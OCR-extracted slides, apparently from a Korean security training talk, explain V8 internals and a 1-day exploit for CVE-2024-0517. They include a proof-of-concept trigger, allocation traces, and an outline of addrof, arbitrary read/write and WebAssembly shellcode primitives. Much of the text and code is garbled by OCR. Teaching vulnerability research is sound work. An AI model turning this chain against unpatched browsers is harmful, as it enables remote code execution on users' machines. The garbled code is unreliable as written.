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How to deal with issues in team

nd EU 2017 3 a3 Mirksima
1.Parser
8 Engine - parie
arser -~
- LR 5-' - - o
v BT Y X2 0N E4(Lexical analysis

.« B3

x4 0|0 A 5} 2.AST (Abstract Syntax Tree)

ParserN M & : - t ¥ AST ree

Issue
o DIR2/0JA A U 1 50| WSHE CIH A= &S DN R H, 244 4 & new B(; 22! 31 ¥, DebugPrint® O|W A AX| L2 8.

AL S AXO| 0 22| FAE ROLOF ClE oA ST 22| FAE ¥ 4 0|M 47|E 9|2

3.Interpreter Ignition -> Bytecode

: f%
o 2N AFEITE 20| XS0 22} T letb = new B(); B T #S}BIA| % SystemBreak(); 2 gc(); H $0j 20|21 B #1 0|22 w 20128 ‘
X 220|27} M) = Q22! K|, PN LR A v} XM eIX| 28, e ARE M AT recnd B2

» BO|AY

» Bytecode
anton= 18 L]
122 ALY B

of 0f & 2 g : e
2OYA 2HHE B2

e B

4Bytecode 23 -> TurboFan -> Optimized

4 Oytecoae 2 9 EngIne— : = Profier - L A o o R 1 - QU z £ y = =i Hotzpot = -

SAMYRE ZEMUE A VL2 HES EUE 7| A0 E HEs0 MY E 1T

2024/05/29
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current_for_in_state = ForInState(

switch (hint
case ForInHint::kNone:
case ForInHint::kEnumCacheKeysAndIndices:
case ForInHint::kEnumCacheKeys:

/] Check that the {enumerator} is a Map.

/] The direct IsMap check requires reading of an instance type, so in

// order to avoid additional load we compare the {enumerator} against

/] receiver's Map instead (by definition, the {enumerator} is either
/] the receiver's Map or a FixedArray).
auto* receiver_map =

AddNewNode<LoadTaggedField> ({receiver}, HeapObject::kMapOffset);
AddNewNode<CheckDynamicvalue> ({receiver_map, enumerator});

auto* descriptor_array = AddNewNode<LoadTaggedField>(
{enumerator}, Map::kInstanceDescriptorsOffset
auto* enum_cache = AddNewNode<lLoadTaggedField>(
{descriptor_array}, DescriptorArray::kEnumCacheOffset);
auto* cache_array -
AddNewNode<LoadTaggedField> ( {enum_cache}, EnumCache::kKeysOffset

current_for_in_state.enum_cache = enum_cache;
auto* cache_length = AddNewNode<LoadEnumCachelLength>({enumerator});

MoveNodeBetweenRegisters(interpreter::Register::virtual_accumulator
cache_type_reg);

StoreRegister (cache_array_reg, cache_array);

StoreRegister (cache_length_reg, cache_length);

break;

© Hackingcamp. All Rights Reserved
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JavaScript

Source Code
(" /
Parser }

T

\

Abslract PR S . 5
Syntax Tree
£ \\
'_.--“’ —— “l- ; \ oeee—— ;_\
Interpreter Compiler - R Y ‘
|g.'WlTlOﬂ ’ N TurboFan Ianirior Sparkxopluag Magle turbofan
Optimized
Bytecode \ - - | Machine Code

@fhinkel

https://www.youtube.com/watch?v=xckH5s3UuX4&Iist=LL&index=3

w
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4] - Allocation Folding

with size x

Allocation

size(x+v
Folding

with size y

0x5590c50d/c98 nll: AllocateRaw(Young, 12) - (x), @ uses

0x5590c56d8b38 nl/: FoldedAllocation(+12) [nll:(x)] - (X), @ uses

a’s address is “B + size x”

© Hackingcamp. All Rights Reserved POC SECURITY



Al _ Garbage collection

Minor GC
Bl Ophan [ Used memory Il Free memory

07

(new object)

Pointer space

Old generation
New space (Young generation) (Old space)

Cell space
Property cell space
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Al

=1 - Garbage collection

Minor GC
Bl Used memory Il Free memory

B Orphan

Pointer space

Old generation
New space (Young generation) (Old space)

Cell space
Property cell space

w
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Al

=1 - Garbage collection

Minor GC
B Ophan W Used memory I Free memory

Pointer space

05
Data space

Old generation
(Old space)
Cell space

Property cell space

From-space To-space

New space (Young generation)

w

© Hackingcamp. All Rights Reserved POC SECURITY



Proof of Concept @ =

class ClassParent {}
class ClassBug extends ClassParent {
constructor(a20, a2l, a22) {
const v24 = new new.target();
let x = [empty_object, empty_object, empty_object, empty_object,
empty_object, empty_object, empty_object, empty_object];
super();
Tlet a = [1.1];
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}

[1] = dogc();

w
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[ Parser }

JavaScript

Source Code

Abstract
Syntax Tree

Interpreter

Ignition

'

Bytecode

Compiler
A TurboFan

Optimized
___ | Machine Code

super();

JS code

— ExpressionStatement
type: "ExpressionStatement"

start: 494
end: 502

— expression: CallExpression
type: "CallExpression"

start: 494
end: 501

AST structure

— callee: Super
type: "Super"

start: 494
end: 499

@fhinkel

arguments:

optional: false

w
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Google

, // src/interpreter/bytecode—-generator.cc
w6 void BytecodeGenerator::VisitCall(Callx expr) {

Source Code R
‘(/” If;r1|t|()r] Expressionx callee_expr = expr—>expression();
Call::CallType call_type = expr—>GetCallType();
G Source Code
Abstract if (call_type == Call::SUPER_CALL) {

Syntax Tree - ]
return VisitCallSuper(expr);

}

Parser

. (truncated!
Interpreter Compiler

Ignition < A TurboFan

void BytecodeGenerator: :BuildSuperCallOptimization(

‘, Register this_function, Register new_target,
Register constructor_then_instance, BytecodelLabel* super_ctor_call_done) {

DCHECK(v8_flags.omit_default_ctors);
Optimized RegisterList output = register_allocator()->NewRegisterList(2);

Bytecode “e .~ | Machine Code builder ()->FindNonDefaultConstructorOrConstruct(this_function, new_target,
_________________________________________________________________________________________________________________|
output) ;

@fhinkel builder ()->MoveRegister (output[1], constructor_then_instance);
builder ()->LoadAccumulatorWithRegister (output[0]).JumpIfTrue(

Opt: ———> ToBooleanMode: : kAlreadyBoolean, super_ctor_call_done);

}

FindNonDefaultConstructorOrConstruct <closure>,

el oy Byt eCo d e ::133 ; r ;8 rs

—~sy \ Optimised : Mov r9, ré

T . \ e : : Mov r@, r7
: JumpIfTrue (0x23120000244b @ 179)
parxplug Maglev Turbofan ThrowIfNotSuperConstructor r6
/ " 4

w
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Parser

Interpreter

JavaScript
Source Code

Abstract
Syntax Tree

Ignition "~

Bytecode

Compiler
B TurboFan

Optimized
___ | Machine Code

Google

//src/maglev/maglev—-graph-builder.h

Maglev void VisitSingleBytecode() {
Source Code [truncated]

switch (iterator_.current_bytecode()) {

#define BYTECODE_CASE(name, ...) I\

case interpreter::Bytecode: : k##name: \

Visit##namel(); \
break;

BYTECODE_LIST(BYTECODE_CASE)
#undef BYTECODE_CASE
s
}

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNodex this_function = LoadRegisterTagged(9);

@fhinkel ValueNodex new_target = LoadRegisterTagged(1);

auto register_pair = iterator_.GetRegisterPairOperand(2);

// [1]

if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
===, reqister_pair)) {

return;

w
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Root cause

bool MaglevGraphBuilder: :TryBuildFindNonDefaultConstructorOrConstruct(
ValueNodex this_function, ValueNodex new_target,

std::pair<interpreter::Register, interpreter::Register> result)

p
7
1

[truncated!
object = BuildAllocateFastObject!

FastObject(new_target_function->AsJSFunction(), zone(), broker())
AllocationType: :kYoung) ;

} else {

object = BuildCallBuiltin<Builtin::kFastNewObject>(

{GetConstant(current_function), new_target});

[truncated]

ValueNodex MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) <
if (!current_raw_allocation_ ||
current_raw_allocation_->allocation_type()
lv8_flags.inline_new) {
current_raw_allocation_

I= allocation_type ||

AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;

}

[truncated]

© Hackingcamp. All Rights Reserved
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|22 25
With Maglev

: AllocateRaw(Young, 20) - [rdi|R|t], live range: [43-48]
: StoreMap(0x293bB02c2875 <Map (HOLEY_ELEMENTS)>) | v43/n15:[rdi|R|t]]
: ConstantGapMove(v14/n14 - [rax|R|t])
: StoreTaggedFieldNowWriteBarrier(0x4) [v43/n15:[rdi|R|t], v14/nl4:[rax|R|t]]
: StoreTaggedFieldNoWriteBarrier(0x8) [v43/n15:[rdi|R|t], vi14/nl4:[rax|R|t]]
: ConstantGapMove(v11l/nl13 - [rcx|R|t])
X array : StoreTaggedFieldNowriteBarrier(0Oxc) [v43/n15:[rdi|R|t], v11/n13:[rcx|R|t]]
elements : StoreTaggedFieldNoWriteBarrier(0x10) [v43/n15:[rdi|R|t], v11/n13:[rcx|R|t]]

: AllocateRaw(Young, 72) - [rdi|R|t], live range: [50-69]
: StoreMap(0x293b0BBOE565 <Map(FIXED ARRAY TYPE)>) [v50/n24:[rdi|R|t]]
: ConstantGapMove(v18/n26 - [rbx|R|t])

: StoreTaggedFieldNoWriteBarrier(0x4) [v50/n24:[rdi|R|t], v18/n26:[rbx|R|t]]
: ConstantGapMove(v16/n23 - [ri11|R|t]) _

: StoreTaggedFieldNoWriteBarrier(0x8) [v50/n24:[rdi|R|t], v16/n23:[rl11|R|t

: StoreTaggedFieldNoWriteBarrier(Oxc) [v50/n24:[rdi|R|t], v16/n23:[rl11|R|t

: StoreTaggedFieldNoWriteBarrier(0x10) [v50/n24:[rdi|R|t], v16/n23:[rl11|R]

: StoreTaggedFieldNoWriteBarrier(0x14) [v50/n24:[rdi|R|t], v16/n23:[r11|R]

: StoreTaggedFieldNowWriteBarrier(0x18) [v50/n24:[rdi|R|t], v16/n23:

: StoreTaggedFieldNoWriteBarrier(0xlc) [v50/n24:[rdi|R|t], v16/n23:

this metadata : StoreTaggedFieldNoWriteBarrier(0x20) [v50/n24:[rdi|R|t], v16/n23:

: StoreTaggedFieldNoWriteBarrier(0x24) [v50/n24:[rdi|R|t], v16/n23:
(
(

: StoreTaggedFieldNoWriteBarrier(0x28) [v50/n24:[rdi|R|t], v16/n23:

: StoreTaggedFieldNoWriteBarrier(0x2c) [v50/n24:[rdi|R|t], v16/n23:
a array metadata : StoreTaggedFieldNoWriteBarrier(0x30) [v50/n24:[rdi|R|t], v16/n23:
: StoreTaaaedFieldNowWriteBarrier(0x34) [v50/n24:[rdi|RIt]1. v16/n23

: FoldedAllocation(+56) [v50/n24:[rdi|R|t]] - [rsi|R|t] (spilled: [stack:1|t]), live range: [65-135]
: GapMove(|Lrdi|R|t] - Lr8|R[t])
: GapMove([rsi|R|t] = [rdi|R|t])
: StoreMap(0x293b0018f041 <Map (PACKED ELEMENTS)>) [v65/n40:[rdi|R|t]]
a array : StoreTaggedFieldNoWriteBarrier(0x4) [v65/nd40:[rsi|R|t], v14/nl4:[rax|R|t]]

elements : StoreTaggedFieldNoWriteBarrier(Oxc) [v65/nd40:[rsi|R|t], v18/n26:[rbx|R|t]]
: StoreTaggedFieldNowWriteBarrier(0x8) [v65/nd40:[rsi|R|t], v50/n24:[r8|R|t
: ConstantGapMove(v4/n45 - [rbx|R|t])
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You nNg You Ng \ Gd array metadata
Space X array Space Space
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this metadata
X array metadata
X array
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Collection
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aHHOEd olC}
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Expected memory allocation

-

Young
Space

~

a array metadata

a array
elements

Old
Space

X array metadata

~

this metadata

X array
elements




atdfj e stctk

= = O .
Actual memory allocation

o o

oung
Space Space

~

X array metadata

65/40: FoldedAllocation(+56) [v50/n24:

this metadata 164: GapMove([rdi|R|t] - [r8|R|t])
165: GapMove([rsi|R|t] - [rdi|R|t])

a array metadata

X array
elements

a array
elements
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Untrigg

Causes

consequences

ered Vulnerability

Array Buffer Object that was used for GC —{

Elements Buffer for x —{

class instance

0x40 bytes

0x28 bytes

-

X )

0x50 bytes

0x10 bytes

this 24 X

>— Elements Buffer of a

x Hif &

>— Metadata of Array a

a H| &

« The this pointer. Allocation for array a was folded with this

ubuntu@ubuntu:~/v8/0out$ ./debug/d8 --allow-nativ
DebugPrint: 0x2793003c21a9: [JS OBJECT TYPE] mn 0

DebugPrint: 0x2793003c2361: [JSArray] in 0ldSpace

map: 0x2793000cf041 <Map (PACKED ELEMENTS )> [FastProperties]

prototype: 0x2793000ce935 <JSArray 2

elements: 0x2793003c21bd <FixedDoubleArray|!|> [PACKED ELEMENTS]

length: 8

properties: 0x2793000006cd <FixedArray

ALl own properties (excluding elements): {

0x279300000d41: [String] in ReadOnlySpace: #length: 0x27930030e(
ptor

}

- elements: 0x2793003c21bd <FixedDoubleArray
0: -858993459

DebugPrint: 0x2793003c21cd: [JSArray] in 0ldSpace
- map: 0x2793000cefcl <Map (PACKED DOUBLE _ELEMENTS )> [FastPrope
- prototype: 0x2793000ce935 <JSArray :
- elements: 0x2793003c21bd <FixedDoubleArray| 1]> [PACKED DOUBLE ELF
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EXEIoit primitives

type confusion

Type confusion with x array & a array

| | |
our memory structure example
Addrof primitive
; map map I
i properties properties i
) this elements elements this I
in-object property 1 in-object property 1 ,
: in-object property 2 in-object property 2 I GC resistance
'. \ map map 5
| snze. size - B
. empty_object 0 1.1 (0-1) K
: 22 ty SE'ZE': ; 1'1m:'2 Arbitrary read&write
; ARtey emgty—obj'ect 3 propefties i primiive
— a metadata =

' empty_object 4 elements i
) empty_object 5 size

empty_object 6
: empty_object 7

w
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WebAssembly

2l WebAssembly= M OFSt=7}?
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ShellCode and RWX region

execve /bin/sh

Ox0000029600100000 Ox0000039dOOOOOOOO OxOOOEO106fffOOOOO ---

Ox0000199700000000 OxOOOO199700040000 OxOOO0OOOOOOOO40000 rw-

w
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1-day exploit &7
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Google has addressed the first Chrome zero-day
vulnerability of the year that is actively being
exploited in the wild.

Google has released security updates to address the first Chrome zero-day vulnerability of the year that is actively being
exploited in the wild.

The high-serverity vulnerability, tracked as CVE-2024-0519, is an out of bounds memory access in the Chrome JavaScript
engine. The flaw was reported by Anonymous on January 11, 2024.

“The Stable channel has been updated to 120.0.6099.234 for Mac and 120.0.6099.224 for Linux and 120.0.6099.224/225 to
Windows which will roll out over the coming days/weeks.” reads the security advisory published by the IT giant. “Google is
aware of reports that an exploit for CVE-2024-0519 exists in the wild.”

A remote attacker can exploit the flaw by tricking a user into visiting a crafted HTML page to potentially exploit heap
corruption.

As usual, Google did not share details of the attacks that exploited the CVE-2024-0519 zero-day in the wild.

Google also fixed the following vulnerabilities:

e [$16000][1515930] High CVE-2024-0517: Out of bounds write in V8. The flaw has been reported by Toan (suto) Pham of
Qrious Secure on 2024-01-06

e [$1000][1507412] High CVE-2024-0518: Type Confusion in V8. The flaw has been reported by Ganjiang
Zhou(@refrain_areu) of ChaMd5-H1 team on 2023-12-03

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini © Hackingcamp. All Rights Reserved
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Short Quiz

What is “Allocation folding™?
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Short Quiz

w
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Short Quiz

O] CcVE-2024-0517 F| 2 H 0| Zot X2 O{C|QITR?
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Short Quiz

V8 Xl O exploit= ¢ ol WebAssemblyE AtE5t= O| 7?2

w
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